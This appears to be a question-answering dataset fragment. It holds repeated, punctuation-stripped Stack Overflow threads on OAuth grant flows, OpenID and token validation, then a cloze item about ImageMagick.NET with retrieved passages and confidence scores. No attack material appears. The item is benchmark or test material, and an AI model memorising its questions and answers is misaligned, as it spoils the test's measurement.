user to control how their resources may be accessed by third-parties . Two very different use-cases . To the context you described CAS is probably the right choice . Comment : Although OAuth is mainly about authorization it can be used as-if its a central authentication server . Like the way Google OAuth account is used by many sites including SO for authentication without actually using any service from the OAuth provider . Comment : Moreover as said in Bertl reply http : stackoverflow.com a 10226744 535203 CAS now provides OAuth both as client or server . Comment : Awesome answer Thank you for clarifying Comment : Is this answer still relevant now that OAuth 2.0 exists How has your opinion changed with OAuth 2.0 Comment : OAuth 2.0 is still an authorization protocol and not an authentication protocol but one can build on top of OAuth 2.0 to create an authentication protocol which is what Facebook LinkedIn etc . have done the only standardized extension of OAuth 2.0 that provides authentication is OpenID Connect which is the designated successor of OpenID", "Question : I don t know if I just have some kind of blind spot or what but I ve read the OAuth 2 spec many times over and perused the mailing list archives and I have yet to find a good explanation of why the Implicit Grant flow for obtaining access tokens has been developed . Compared to the Authorization Code Grant it seems to just give up on client authentication for no very compelling reason . How is this optimized for clients implemented in a browser using a scripting-language to quote the specification Both flows start out the same source : http : tools.ietf.org html draft-ietf-oauth-v2-22 : .. . .. . 1 . The client initiates the flow by directing the resource owner s user-agent to the authorization endpoint . 2 . The authorization server authenticates the resource owner via the user-agent and establishes whether the resource owner grants or denies the client s access request . 3 . Assuming the resource owner grants access the authorization server redirects the user-agent back to the client using the redirection URI provided earlier in the request or during client registration . The redirection URI includes an authorization code Authorization code flow .. . The redirection URI includes the access token in the URI fragment Implicit flow .. . .. . Here s where the flows split . In both cases the redirection URI at this point is to some endpoint hosted by the client : .. . .. . In the Authorization code flow when the user-agent hits that endpoint with the Authorization code in the URI code at that endpoint exchanges the authorization code along with its client credentials for an access token which it can then use as needed . It could for example write it into a web page that a script on the page could access . The Implicit flow skips this client authentication step altogether and just loads up a web page with client script . There s a cute trick here with the URL fragment that keeps the access token from being passed around too much but the end result is essentially the same : the client-hosted site serves up a page with some script in it that can grab the access token . Hence my question : what has been gained here by skipping the client authentication step Comment : Have a look at this : ibm.com developerworks wikis display http : www.ibm.com developerworks wikis display tivolifederatedidentitymanager Example+of+running+an+implicit+grant+OAuth+2.0+flow Comment : Link in the previous comment is dead . Here s an updated one https : www.ibm.com developerworks community wikis home lang en wiki IBM+Security+Federated+Identity+Manager page Example+of+running+an+implicit+grant+OAuth+2.0+flow Comment : I ve read all the answers here but I still don t understand how not requiring a private client secret to get an access token can be secure . Let s say TrustedAppDeveloper releases TrustedPopularApp that let s users give it permissions say using Twitter oauth using an implicit grant . If I am EvilAppDeveloper what s to stop me from making an app that passes TrustedPopularAppId as the client id in an implicit grant request and then performing actions like spamming a feed on behalf of the user that now look like they are coming from TrustedPopularApp Comment : I wonder the same thing as adevine . But most likely apps that require an implicit grant request have no need for more authentication as they are all gets Comment : @adevine What would prevent the EvilApp in your scenario from authenticating to Twitter as TrustedPopularApp is that it couldn t receive the callbacks from Twitter they would always be sent to the URI that was defined when registing the client ID .. . Answer : You should consider the difference between the user-agent and the client : .. . .. . The user-agent is the software whereby the user resource owner communicates with other parts of the system authentication server and resource server . The client is the software which wants to access the resources of the user on the resource server . In the case of decoupled user-agent and client the Authorization Code Grant makes sense . E.g . the user uses a web-browser user-agent to login with his Facebook account on Kickstarter . In this case the client is one of the Kickstarter s servers which handles the user logins . This server gets the access token and the refresh token from Facebook . Thus this type of client considered to be secure due to restricted access the tokens can be saved and Kickstarter can access the users resources and even refresh the access tokens without user interaction . If the user-agent and the client are coupled e.g . native mobile-application javascript application the Implicite Authorization Workflow may be applied . It relies on the presence of the resource owner for entering the credentials and does not support refresh tokens . If this client stores the access token for later use it will be a security issue because the token can be easily extracted by other applications users of the client . The absence of the refresh token is an additional hint that this method is not designed for accessing the user resources in the absence of the user .", "Question : OAuth 2.0 has multiple workflows . I have a few questions regarding the two . 1 . Authorization code flow - User logs in from client app authorization server returns an authorization code to the app . The app then exchanges the authorization code for access token . 2 . Implicit grant flow - User logs in from client app authorization server issues an access token to the client app directly . What is the difference between the two approaches in terms of security Which one is more secure and why I don t see a reason why an extra step exchange authorization code is exchanged for token is added in one work flow when the server can directly issue an Access token . Different websites say that Authorization code flow is used when client app can keep the credentials secure . Why .. . Answer : The access token is what you need to call a protected resource an API . In the Authorization Code flow there are 2 steps to get it : .. . .. . 1 . User must authenticate and returns a code to the API consumer called the Client . 2 . The client of the API usually your web server exchanges the code obtained in 1 for an access token authenticating itself with a client id and client secret .. . 3 . It then can call the API with the access token . So there s a double check : the user that owns the resources surfaced through an API and the client using the API e.g . a web app . Both are validated for access to be granted . Notice the authorization nature of OAuth here : user grants access to his resource through the code returned after authentication to an app the app get s an access token and calls on the user s behalf . In the implicit flow step 2 is omitted . So after user authentication an access token is returned directly that you can use to access the resource . The API doesn t know who is calling that API . Anyone with the access token can whereas in the previous example only the web app would it s internals not normally accessible to anyone . The implicit flow is usually used in scenarios where storing client id and client secret is not recommended a device for example although many do it anyway . That s what the the disclaimer means . People have access to the client code and therefore could get the credentials and pretend to become resource clients . In the implicit flow all data is volatile and there s nothing stored in the app . Comment : Wonderfully explained Eugenio Thanks", "Question : In very simple terms can someone explain the difference between OAuth 2 and OAuth 1 Is OAuth 1 obsolete now Should be implementing OAuth 2 I don t see many implementations of OAuth 2 most are still using OAuth 1 which makes me doubt OAuth 2 is ready to use . Is it Comment : Please clarify stackoverflow.com questions 9565744 http : stackoverflow.com questions 9565744 oauth-2-params-ordering-and-signature-integrity .. . Answer : Eran Hammer-Lahav has done an excellent job in explaining the majority of the differences in his article Introducing OAuth 2.0 http : hueniverse.com 2010 05 introducing-oauth-2-0 . To summarize here are the key differences : .. . .. . More OAuth Flows to allow better support for non-browser based applications . This is a main criticism against OAuth from client applications that were not browser based . For example in OAuth 1.0 desktop applications or mobile phone applications had to direct the user to open their browser to the desired service authenticate with the service and copy the token from the service back to the application . The main criticism here is against the user-experience . With OAuth 2.0 there are now new ways for an application to get authorization for a user . OAuth 2.0 no longer requires client applications to have cryptography . This hearkens back to the old Twitter Auth API which didn t require the application to HMAC hash tokens and request strings . With OAuth 2.0 the application can make a request using only the issued token over HTTPS . OAuth 2.0 signatures are much less complicated . No more special parsing sorting or encoding . OAuth 2.0 Access tokens are short-lived . Typically OAuth 1.0 Access tokens could be stored for a year or more Twitter never let them expire . OAuth 2.0 has the notion of refresh tokens . While I m not entirely sure what these are my guess is that your access tokens can be short lived i.e . session based while your refresh tokens can be life time . You d use a refresh token to acquire a new access token rather than have the user re-authorize your application . Finally OAuth 2.0 is meant to have a clean separation of roles between the server responsible for handling OAuth requests and the server handling user authorization . More information about that is detailed in the aforementioned article . Comment : Could anyone clarify how callback urls are different between oauth 1 and 2 Comment : OAuth 2.0 will only obselete OAuth if it is approved as an RFC . Currently it is an Internet Draft but it is planned to become an Internet Standard as far as these things can be planned . However this will take years since large parts of the framework is not yet specified . We will probably see a whole family of Internet Drafts being published the coming years each one concerning different aspects of the OAuth 2.0 authorization framework . To see why this is true visit tools.ietf.org html draft-ietf-oauth-v2 http : tools.ietf.org html draft-ietf-oauth-v2 and search for beyond the scope of this specification Comment : The author of the article wrote a follow-up last year called OAuth 2.0 and the Road to Hell which can be read here : hueniverse.com 2012 07 oauth-2-0-and-the-road-to-hell http : hueniverse.com 2012 07 oauth-2-0-and-the-road-to-hell . A significant difference in the two are security - as foreshadowed by the lack of cryptography in 2.0 . Comment : Security of OAuth 1.0 relies on the assumption that a secret-key embedded in a client application can be kept confidential but the assumption is naive . In OAuth 2.0 such a naive client application is called confidential client . There is no practical difference in security level between OAuth 1.0 clients and OAuth 2.0 confidential clients . OAuth 2.0 and the Road to Hell misses this point . Comment : @TakahikoKawasaki can you go a bit deeper into your point There is no practical difference in security level between OAuth 1.0 clients and OAuth 2.0 why do you think the author misses the point", "Question : I don t know if I just have some kind of blind spot or what but I ve read the OAuth 2 spec many times over and perused the mailing list archives and I have yet to find a good explanation of why the Implicit Grant flow for obtaining access tokens has been developed . Compared to the Authorization Code Grant it seems to just give up on client authentication for no very compelling reason . How is this optimized for clients implemented in a browser using a scripting-language to quote the specification Both flows start out the same source : http : tools.ietf.org html draft-ietf-oauth-v2-22 : .. . .. . 1 . The client initiates the flow by directing the resource owner s user-agent to the authorization endpoint . 2 . The authorization server authenticates the resource owner via the user-agent and establishes whether the resource owner grants or denies the client s access request . 3 . Assuming the resource owner grants access the authorization server redirects the user-agent back to the client using the redirection URI provided earlier in the request or during client registration . The redirection URI includes an authorization code Authorization code flow .. . The redirection URI includes the access token in the URI fragment Implicit flow .. . .. . Here s where the flows split . In both cases the redirection URI at this point is to some endpoint hosted by the client : .. . .. . In the Authorization code flow when the user-agent hits that endpoint with the Authorization code in the URI code at that endpoint exchanges the authorization code along with its client credentials for an access token which it can then use as needed . It could for example write it into a web page that a script on the page could access . The Implicit flow skips this client authentication step altogether and just loads up a web page with client script . There s a cute trick here with the URL fragment that keeps the access token from being passed around too much but the end result is essentially the same : the client-hosted site serves up a page with some script in it that can grab the access token . Hence my question : what has been gained here by skipping the client authentication step Comment : Have a look at this : ibm.com developerworks wikis display http : www.ibm.com developerworks wikis display tivolifederatedidentitymanager Example+of+running+an+implicit+grant+OAuth+2.0+flow Comment : Link in the previous comment is dead . Here s an updated one https : www.ibm.com developerworks community wikis home lang en wiki IBM+Security+Federated+Identity+Manager page Example+of+running+an+implicit+grant+OAuth+2.0+flow Comment : I ve read all the answers here but I still don t understand how not requiring a private client secret to get an access token can be secure . Let s say TrustedAppDeveloper releases TrustedPopularApp that let s users give it permissions say using Twitter oauth using an implicit grant . If I am EvilAppDeveloper what s to stop me from making an app that passes TrustedPopularAppId as the client id in an implicit grant request and then performing actions like spamming a feed on behalf of the user that now look like they are coming from TrustedPopularApp Comment : I wonder the same thing as adevine . But most likely apps that require an implicit grant request have no need for more authentication as they are all gets Comment : @adevine What would prevent the EvilApp in your scenario from authenticating to Twitter as TrustedPopularApp is that it couldn t receive the callbacks from Twitter they would always be sent to the URI that was defined when registing the client ID .. . Answer : I think Will Cain answered this when he said There is no benefit to client credentials for the same reason . Any client can attempt to use this flow . Also consider that the redirect uri for implicit flow maybe localhost --no callback is made from the Authorization Server for the implicit flow . As there is no way to pre-trust the client the user would have to approve the release of user claims .", "Question : I don t know if I just have some kind of blind spot or what but I ve read the OAuth 2 spec many times over and perused the mailing list archives and I have yet to find a good explanation of why the Implicit Grant flow for obtaining access tokens has been developed . Compared to the Authorization Code Grant it seems to just give up on client authentication for no very compelling reason . How is this optimized for clients implemented in a browser using a scripting-language to quote the specification Both flows start out the same source : http : tools.ietf.org html draft-ietf-oauth-v2-22 : .. . .. . 1 . The client initiates the flow by directing the resource owner s user-agent to the authorization endpoint . 2 . The authorization server authenticates the resource owner via the user-agent and establishes whether the resource owner grants or denies the client s access request . 3 . Assuming the resource owner grants access the authorization server redirects the user-agent back to the client using the redirection URI provided earlier in the request or during client registration . The redirection URI includes an authorization code Authorization code flow .. . The redirection URI includes the access token in the URI fragment Implicit flow .. . .. . Here s where the flows split . In both cases the redirection URI at this point is to some endpoint hosted by the client : .. . .. . In the Authorization code flow when the user-agent hits that endpoint with the Authorization code in the URI code at that endpoint exchanges the authorization code along with its client credentials for an access token which it can then use as needed . It could for example write it into a web page that a script on the page could access . The Implicit flow skips this client authentication step altogether and just loads up a web page with client script . There s a cute trick here with the URL fragment that keeps the access token from being passed around too much but the end result is essentially the same : the client-hosted site serves up a page with some script in it that can grab the access token . Hence my question : what has been gained here by skipping the client authentication step Comment : Have a look at this : ibm.com developerworks wikis display http : www.ibm.com developerworks wikis display tivolifederatedidentitymanager Example+of+running+an+implicit+grant+OAuth+2.0+flow Comment : Link in the previous comment is dead . Here s an updated one https : www.ibm.com developerworks community wikis home lang en wiki IBM+Security+Federated+Identity+Manager page Example+of+running+an+implicit+grant+OAuth+2.0+flow Comment : I ve read all the answers here but I still don t understand how not requiring a private client secret to get an access token can be secure . Let s say TrustedAppDeveloper releases TrustedPopularApp that let s users give it permissions say using Twitter oauth using an implicit grant . If I am EvilAppDeveloper what s to stop me from making an app that passes TrustedPopularAppId as the client id in an implicit grant request and then performing actions like spamming a feed on behalf of the user that now look like they are coming from TrustedPopularApp Comment : I wonder the same thing as adevine . But most likely apps that require an implicit grant request have no need for more authentication as they are all gets Comment : @adevine What would prevent the EvilApp in your scenario from authenticating to Twitter as TrustedPopularApp is that it couldn t receive the callbacks from Twitter they would always be sent to the URI that was defined when registing the client ID .. . Answer : My question is : http : tools.ietf.org html rfc6749 section-10.3 .. . .. . It says access token should be kept confidential in transit and storage . Now in case of Implicit flow : .. . .. . 1 . Transport layer can be made secure using TLS HTTPS .. . 2 . Regarding storage . How can it be safe to store access token say with 6 to 12 hours of expiry in client application", "Question : When building an OAuth 2 server is there anything wrong with associating scopes to users Essentially allowing scopes to act as your applications roles I ve looked at the RFC https : tools.ietf.org html rfc6749 section-3.3 but can t seem to find any guidance on this . The use-case for a flow would be something like this : .. . .. . Some more visual context this is a SQL data representation : .. . .. . enter image description here http : i.stack.imgur.com wssdz.png .. . Answer : The definition of scopes is out of scope for the OAuth 2.0 spec itself . Typically scopes represent application permissions or roles indeed bases on shared understanding between the Authorization Server the Resource Server and possibly the client . What you describe is a common use-case for most OAuth 2.0 grants such as the Authorization Code grant where an application-client will act on behalf of a user inheriting a optionally limited set of permissions that the user grants to the application all within the powers that the user itself has .", "Question : I m really trying to understand the difference between OpenID and OAuth Maybe they re two totally separate things Comment : This may be helpful to understand that OAuth is not an authentication framework - while OpenID and OpenID Connect are. . blog.api-security.org 2013 02 http : blog.api-security.org 2013 02 why-oauth-it-self-is-not-authentication.html .. . Answer : OpenID and OAuth are each HTTP-based protocols for authentication and or authorization . Both are intended to allow users to perform actions without giving authentication credentials or blanket permissions to clients or third parties . While they are similar and there are proposed standards to use them both together they are separate protocols . OpenID is intended for federated authentication . A client accepts an identity assertion from any provider although clients are free to whitelist or blacklist providers . OAuth is intended for delegated authorization . A client registers with a provider which provides authorization tokens which it will accept to perform actions on the user s behalf . OAuth is currently better suited for authorization because further interactions after authentication are built into the protocol but both protocols are evolving . OpenID and its extensions could be used for authorization and OAuth can be used for authentication which can be thought of as a no-op authorization .", "Question : I m developing a web application to expose a number of RESTful services secured by OAuth 2.0 . Here is the planned architecture : .. . .. . 1- OAuth Authorization Provider : WSO2 Identity Server IS .. . .. . 2- OAuth Resource Server : Java web application using the following technologies : .. . .. . Jersey to implement and expose the web-services .. . Spring Security to implement the OAuth Resource Server part .. . .. . I ve seen several examples ex1 https : docs.wso2.com display IS500 2-legged+OAuth+for+Securing+a+RESTful+Service ex2 http : wso2.com library articles 2014 02 securing-your-web-service-with-oauth2-using-wso2-identity-server-1 ex3 http : blog.facilelogin.com 2011 07 integrating-3-legged-oauth-with-xacml.html etc.. . on how to secure RESTful services using WSO2 IS as an authorization server + WSO2 ESB as a resource server . This is NOT what I need in my case . Unfortunately the interaction between the authorization server and the resource server is beyond the scope of the OAuth2 RFC http : tools.ietf.org html rfc6749 page-6 . So I couldn t find much about how should it look like . Here are my questions : .. . .. . How to configure spring-security to act as a resource server to validate an access token issued by an external OAuth provider e.g . WSO2 IS How should the resource server identify the scope of a given access token How to identify the resource owner given an access token from WSO2 IS Thanks Comment : Did you get this answered I d be interested to know.. . Unfortunately I have been asking some questions on wso2 is which have gone unanswered so far . Comment : @ShyamalPandya Yes I figured out how to do it myself . I m planning to post the complete solution shortly . Till then let me know if you have specific questions that I can help you with . Comment : @ShyamalPandya I ve posted the solution . I hope it would be helpful . .. . Answer : After doing some research I figured out how to do it . The solution is divided into 2 main parts : WSO2 IS configuration Resources server configuration . The basic scenario goes as follows : .. . .. . 1- A client e.g . mobile app consume a secured resource e.g . web service by sending a request to the resources sever Java web application in my case . 2- The resources server validates the Authorization header in the request and extracts the access token . 3- The resources server validates the access token by sending it to the authorization server WSO2 IS . 4- The authorization server responds with validation response . 5- The resources server validates the response and decides whether to grant or deny access to the requested resource . In my demo I used WSO2 IS 5.0.0 and Spring security 3.1.0 . .. . .. . 1- WSO2 IS Configuration .. . .. . WSO2 IS will act as the authorization server . So it should be configured to support OAuth 2.0 . To do so a new service provider should be added and configured as follows : .. . .. . a Login to WSO2 IS management console . b Add a new service provider and give it a name and description . Service provider configuration : screenshot 1 http : i.stack.imgur.com huvwn.png .. . .. . c Under Inbound Authentication Configuration OAuth OpenID Connect Configuration Click Configure . d Configure OAuth 2.0 provider as shown in the below screenshot and click Add . We ll need Password grant type which maps to Resource Owner Password Credentials grant type . It is best suited for my case securing web-services . Service provider configuration : screenshot 2 http : i.stack.imgur.com ck9Kk.png .. . .. . e Under OAuth OpenID Connect Configuration you ll find OAuth Client Key and OAuth Client Secret generated . They are used along with username password and scope to generate access tokens . .. . .. . 2- Resources Server Configuration .. . .. . As mentioned earlier the demo Java web application will act as Resources server and client at the same time . To act as resources server Spring security needs to know how to validate access tokens . So a token services implementation should be provided . a Configure spring to act as resources server . Here is a sample configuration : .. . .. . Here a resource-server that uses a token services implementation TokenServiceWSO2 is configured . The resource-server tag is actually transformed to a security filter . An interception pattern is added to services and the resources sever filter is added to the chain . b Implement OAuth 2.0 token services ResourceServerTokenServices . The implementation will take an access token as an input pass it to OAuth2TokenValidationService service exposed by WSO2 IS validate the response and return a processed object containing the basic data about the token s issuer validity scope corresponding JWT token .. . .. . .. . TokenValidatorWSO2 class implements the logic to call WSO2 IS s web service OAuth2TokenValidationService .. . .. . TokenValidationResponse class holds the basic data returned in token validation response . .. . .. . 3- Client Application Configuration .. . .. . The last step is to configure the resources to be protected by OAuth 2.0 . Basically configure the web-services to be secured with a root URL path services . In my demo I used Jersey . .. . .. . 4- Test The Client Application .. . .. . The last step is to consume the secured web-services . This is done by adding Authorization header to the request with value for example bearer 7fbd71c5b28fdf0bdb922b07915c4d5 . .. . .. . P.S . The described sample is just for clarification purposes . It may be missing some implementations exception-handling .. . Kindly comment for further inquiries . Comment : Great info Thanks", "Question : I am doing an in-depth study of Spring OAuth and I found some conflicting information . Can someone please clarify Specifically this tutorial https : www.youtube.com watch v LnJsspvxE1c states that the oauth token endpoint handles the username and password before granting a refresh token to the client app . By contrast the Spring OAuth Developer Guide http : projects.spring.io spring-security-oauth docs oauth2.html mentions the oauth authorize and oauth token endpoints but yet does not get specific about how they work . Does the oauth authorize do 100 of the username password nOtherFactors check and then signal the oauth token endpoint to send a refresh token to the client so that the client then sends the refresh token to the oauth token endpoint .. . .. . Or is all of it handled by the oauth token endpoint .. . .. . The following flowchart illustrates what Vivian van Zyl states in his tutorials : .. . .. . http : s32.postimg.org 64zqxja39 OAuth Token Loops.gif .. . .. . But this second flowchart seems to make more sense : .. . .. . http : s32.postimg.org w8yonov6d OAuth Token Loops Correct.gif .. . .. . Which flowchart is correct Or is the truth somewhat different than either other flowcharts Is the relationship between oauth authorize and oauth token different for different grant types How .. . Answer : Per the OAuth 2.0 specification the authorize and token endpoints have different purposes . Authorization endpoint is where the resource owner user logs in and grants authorization to the client ex : web application running in the browser or an app running on a mobile device . This is typically used in scenarios where the resource owner s user-agent ex : browser is redirected to the identity server authorization server for authentication . The resource owner s user-agent will have direct access to the access token . Token endpoint is where the client ex : Server side API or mobile app calls to exchange the Authorization Code Client Id and Client Secret for an access token . In this scenario the user-agent is provided with an Authorization code only no direct access to the access token . The client is a trusted party with access to client Id and Client secret from the authorization server That is why I mentioned Server side API as the client . Please read this article that has even better explanation link http : tutorials.jenkov.com oauth2 endpoints.html .. . .. . Please let me know if you have any other questions . Thank you Soma . Comment : Thank you and +1 for providing an explanation with a link . Lemme look into it a little further when I have time . I am curious to find out whether the answer to this OP is different for different grant types . However I do not expect you to write a dissertation about it .", "Question : I have a general question regarding how scopes in the OAuth2 protocol are handled . For easy argumentation lets start with a concrete example : .. . .. . Lets say I have an OAuth server A which I want to use in order to protect two RESTful APIs R1 and R2 . These two services have special scopes that they use to grant a user access to some protected resources . So lets say R1 needs the scope S1 and R2 needs the scope S2 in order to access some restricted resources . Lets further assume that the OAuth server A makes also use of the scopes email and profile they are needed to access the user data that the OAuth server itself manages . Now here is what I m having trouble to understand . As far as I can see the OAuth server A normally only knows how to handle the scopes that he itself uses in this case email and profile . But what about the scopes that are required in order to access the restricted functionality on the two APIs R1 needs S1 and R2 needs S2 Do I have to register these scopes manually with the OAuth server so that it knows that they exist and can grant them should that be needed That again would mean that I need to register all scopes of all the APIs that I want to protect use using the OAuth server . Are these assumptions correct If I get something wrong here perhaps someone can help me by explaining how the entire scope handling is normally implemented . I tried to google-oauth2 and scopes but there seems to be no good explanation of how exactly scopes are handled in the protocol . .. . Answer : Since it s the OAuth2 authorization server A responsability to issue access tokens and that access tokens are granted with specific scopes it sounds reasonable to have A be aware of of S1 and S2 . It s not entirely necessary A could treat scope as opaque strings and not care but registering the scopes with A give you the ability to check that the scopes requested exist and are not some random strings as well as display a more meaningful message in the prompt displayed to the user during the authorization flow Do you allow OAuth2 client to access your R1 data which means blablabla rather than Do you grant access to S1 . Comment : So to wrap it up it seems to be a good idea to implement functionality within the OAuth Server A that allows for managing scopes CRUD . So the server really needs to know all the scopes that are needed by the protected services after all Thanks for your answer", "Question : null .. . Answer : I m developing a React-Native App with Open Bank Project and I can t use suggested SDKs not even the nodeJS one as Oauth1.0 is not available in RN . And I m stuck with a Bad Signature error on Access Token request oauth token after passed oauth initiate and oauth authorize without any problem . As specified in docs here https : github.com OpenBankProject OBP-API wiki OAuth-1.0-Server step-4--accessing-to-protected-resources- before accessing to a Protected Resource we need an Access Token via a POST Request which gives me the Bad Signature answer . Here is my code for the request : .. . .. . Here is the signed request : .. . .. . Object method : POST form : Object headers : Object form : oauth token : .. . oauth token secret : .. . oauth verifier : 71531 .. . .. . headers : Authorization : OAuth oauth consumer key .. . oauth nonce 3UlQ5dx958tibf6lSg0RUGPQFZeV7b8V oauth signature weyE1lFkoIjAErYLKdSi9SDlCZsNBi7 2BuAkLV2PWePo 3D oauth signature method HMAC-SHA256 oauth timestamp 1464248944 oauth token .. . oauth token secret .. . oauth verifier 71531 oauth version 1.0 .. . .. . I ve tried with and without Oauth token secret also moving oauth verifier from body to query but with the same Bad Signature result . Any idea thx Comment : Actually the error msg is INVALID SIGNATURE", "Question : When a client asks a resource server to get a protected resource with an OAuth 2.0 access token how does this server validate the token The OAuth 2.0 refresh token protocol Comment : The server is supposed to be able to validate the token it has previously issued itself.. . Usually this will be a database lookup or crypto self-signed tokens . Comment : I see . How about this case the resource owner WS and client WS are both on difference devices Comment : You mean the authentication service and the resource service the client consumer will always be on a different device and cannot validate tokens himself If that is the case you can use refresh tokens that are expensive to check only auth server can do it but long-lived and access tokens that expire frequently and can be checked offline . Comment : blog.facilelogin.com 2016 03 http : blog.facilelogin.com 2016 03 adding-oauth-20-token-introspection.html .. . Answer : Google way .. . .. . Google Oauth2 Token Validation https : developers.google.com accounts docs OAuth2UserAgent validatetoken .. . .. . Request : .. . .. . Respond : .. . .. . Github way .. . .. . Github - Oauth2 check an authorization http : developer.github.com v3 oauth check-an-authorization .. . .. . Request : .. . .. . Respond : .. . .. . Amazon way .. . .. . Login With Amazon - Developer Guide Dec . 2015 page 21 https : images-na.ssl-images-amazon.com images G 01 lwa dev docs website-developer-guide . TTH .pdf .. . .. . Request : .. . .. . Response :", "Question : I don t know if I just have some kind of blind spot or what but I ve read the OAuth 2 spec many times over and perused the mailing list archives and I have yet to find a good explanation of why the Implicit Grant flow for obtaining access tokens has been developed . Compared to the Authorization Code Grant it seems to just give up on client authentication for no very compelling reason . How is this optimized for clients implemented in a browser using a scripting-language to quote the specification Both flows start out the same source : http : tools.ietf.org html draft-ietf-oauth-v2-22 : .. . .. . 1 . The client initiates the flow by directing the resource owner s user-agent to the authorization endpoint . 2 . The authorization server authenticates the resource owner via the user-agent and establishes whether the resource owner grants or denies the client s access request . 3 . Assuming the resource owner grants access the authorization server redirects the user-agent back to the client using the redirection URI provided earlier in the request or during client registration . The redirection URI includes an authorization code Authorization code flow .. . The redirection URI includes the access token in the URI fragment Implicit flow .. . .. . Here s where the flows split . In both cases the redirection URI at this point is to some endpoint hosted by the client : .. . .. . In the Authorization code flow when the user-agent hits that endpoint with the Authorization code in the URI code at that endpoint exchanges the authorization code along with its client credentials for an access token which it can then use as needed . It could for example write it into a web page that a script on the page could access . The Implicit flow skips this client authentication step altogether and just loads up a web page with client script . There s a cute trick here with the URL fragment that keeps the access token from being passed around too much but the end result is essentially the same : the client-hosted site serves up a page with some script in it that can grab the access token . Hence my question : what has been gained here by skipping the client authentication step Comment : Have a look at this : ibm.com developerworks wikis display http : www.ibm.com developerworks wikis display tivolifederatedidentitymanager Example+of+running+an+implicit+grant+OAuth+2.0+flow Comment : Link in the previous comment is dead . Here s an updated one https : www.ibm.com developerworks community wikis home lang en wiki IBM+Security+Federated+Identity+Manager page Example+of+running+an+implicit+grant+OAuth+2.0+flow Comment : I ve read all the answers here but I still don t understand how not requiring a private client secret to get an access token can be secure . Let s say TrustedAppDeveloper releases TrustedPopularApp that let s users give it permissions say using Twitter oauth using an implicit grant . If I am EvilAppDeveloper what s to stop me from making an app that passes TrustedPopularAppId as the client id in an implicit grant request and then performing actions like spamming a feed on behalf of the user that now look like they are coming from TrustedPopularApp Comment : I wonder the same thing as adevine . But most likely apps that require an implicit grant request have no need for more authentication as they are all gets Comment : @adevine What would prevent the EvilApp in your scenario from authenticating to Twitter as TrustedPopularApp is that it couldn t receive the callbacks from Twitter they would always be sent to the URI that was defined when registing the client ID .. . Answer : Here are my thoughts : The purpose of auth code + token in authorization code flow is that token and client secret will never be exposed to resource owner because they travel server-to-server . On the other side implicit grant flow is for clients that implemented entirely using javascript and running in resource owner s browser . You do not need any server-side code to use this flow . Then if everything happens in resource owner s browser it makes no sense to issue auth code client secret anymore because token client secret will still be shared with resource owner . Including auth code client secret just makes the flow more complex without adding any more real security . So the answer on what has been gained is simplicity . Comment : Thanks . That s a good point that in the authorization code flow the resource owner never needs to see the access token whereas in javascript clients that s unavoidable . Client secret could still be kept from javascript clients using authorization code flow however : after authenticating and obtaining an access token the server-side code would then pass the token to the javascript client . What I now see though is that implicit grant flow enables the distribution of javascript oauth SDKs like Facebook s freeing developers from having to write their own oauth code completely . Comment : I would maybe add that authorization code flow enables clients to store the tokens and reuse them . In the implicit flow you don t always have that option and as such implicit flow is a pragmatic choice between level of security and convenience ." ] }
[ "yes-answer-long", "yes-answer-short" ]
user
UNK_RELATION
imagemagick.net@image-manipulation@58
imagemagick.net -- imagemagick.net is a .net wrapper for @placeholder software imagemagick .
{ "confidence": [ 43.6926383972168, 40.59550476074219, 40.59550476074219, 32.29856872558594, 32.24368667602539, 32.24368667602539, 28.770429611206055, 27.684541702270508, 26.68621063232422, 24.624298095703125, 24.624298095703125, 23.419883728027344, 22.782791137695312, 22.022106170654297, 20.54167366027832, 20.32274627685547, 20.26561737060547, 19.935619354248047, 19.871828079223633, 19.692546844482422, 18.94271469116211, 18.86634635925293, 18.842313766479492, 18.842313766479492, 18.700408935546875, 18.205223083496094, 18.07223129272461, 17.707502365112305, 17.219974517822266, 16.77469253540039, 16.77469253540039, 15.388018608093262, 15.114978790283203, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 14.088468551635742, 13.67340087890625, 12.56291675567627, 12.226544380187988, 12.226544380187988, 12.226544380187988 ], "content": [ "I am using ImageMagick.NET http : imagemagick.codeplex.com in C 4.0 .", "Am I missing something - is there a way to get this stuff into ImageMagick.NET if there isn t already", "I m trying to get set up with ImageMagick.NET with Visual Studio 2012 .", "I need to do a fuzzy image-comparison in c - I have used ImageMagick.NET for stuff in the past and know it s good for the job .", "It should use the IsSimilarImage magick method from the ImageMagick.NET project but I m confused as to whether I have to route this method through the Magick++ as any functionality available to the .NET side originates in the Magick++ .", "I ve done much research into what seems to be a common issue whereby Visual Studio is not recognizing the dependencies of ImageMagick.NET it recognizes the .NET DLL just fine judging by the auto complete .", "There is a compare command in Image Magick : http : www.imagemagick.org script compare.php .. . .. . And there is a Compare Image reference method in ImageMagick.NET however it seems that it s be hugely simplified so there is no way of getting at the verbose output .", "I don t have experience with the GO wrapper for ImageMagick and you will probably have to do the performance comparison yourself .", "I am installing ImageMagick with Homebrew by doing brew install imagemagick --with-x11 .", "You are getting this exception due to a bug in ImageMagick .", "I submitted a patch to the GIT repository of ImageMagick to fix this .", "I am reading a GIF image and creating the ImageMagick object in C .", "Looks like looking at your attempt to run opt ImageMagick bin animate .. . .. . .. . Did you try ls -l opt local ImageMagick bin grep animate", "It statically links with ImageMagick so you don t have to install the ImageMagick libraries separately .", "I have binary distribution of ImageMagick already installed on my system as I can use command-line interface of ImageMagick .", "I have started a new C library for ImageMagick called Magick.NET .", "Will this work in .NET", "5 Copy ALL the DLL s in C : Program Files ImageMagick-6.5.3-Q8 to the ROOT 